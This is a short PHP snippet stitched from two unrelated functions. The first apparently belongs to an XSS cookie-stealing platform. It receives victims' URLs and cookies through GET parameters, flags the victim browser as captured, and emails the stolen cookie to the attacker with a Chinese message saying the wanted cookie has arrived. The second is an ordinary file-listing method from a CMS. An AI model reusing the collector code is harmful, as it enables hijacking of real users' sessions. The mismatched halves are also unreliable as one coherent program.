function info() { $bid = intval($_GET['bid']); extract($_GET, EXTR_SKIP); if ($bid) { $info = new InfoModel($bid); $info->set(htmlentities($title), htmlentities($url), htmlentities($cookie)); $browser = new BrowserModel(); $data = $browser->fetch_first("*", array("bid" => $bid)); $uid = M("Project")->fetch_first("uid", array("pid" => $data['pid'])); $email = M("User")->fetch_first("email", array("uid" => $uid['uid'])); $email = $email['email']; if ($url && $cookie && $data['active'] == 0) { $browser->login($bid); $title = "[" . date("Y-m-d H:i:s", time()) . "] 亲爱的" . $_COOKIE['xing_name'] . ": 您要的cookie到了"; $content = "\r\n 开门 您的cookie到了 </br>\r\n url:{$url} </br>\r\n cookie:{$cookie} </br>\r\n 具体请见" . SITE_ROOT . "包邮哦 亲 !!!! "; if ($email) { if (SAE) { // sae 发送邮件 send_sae_mail($email, $title, $content); } else { send_mail($email, $title, $content); } } } } }
public function getAll() { $query = ipRequest()->getQuery(); $seek = isset($query['seek']) ? (int) $query['seek'] : 0; $limit = 10000; $filter = isset($query['filter']) ? $query['filter'] : null; $filterExtensions = $query['filterExtensions'] ? $query['filterExtensions'] : null; if (is_string($filterExtensions)) { $filterExtensions = array($filterExtensions); } $secure = isset($query['secure']) ? (int) $query['secure'] : null; $path = isset($query['path']) ? $query['path'] : null; $browserModel = BrowserModel::instance(); $browserModel->pathMustBeInRepository($path, $secure); $files = $browserModel->getAvailableFiles($seek, $limit, $filter, $filterExtensions, $secure, $path); usort($files, array($this, 'sortFiles')); $fileGroups = array(); foreach ($files as $file) { $fileGroups[date("Y-m-d", $file['modified'])][] = $file; } $answer = array('fileGroups' => $fileGroups); return new \Ip\Response\Json($answer); }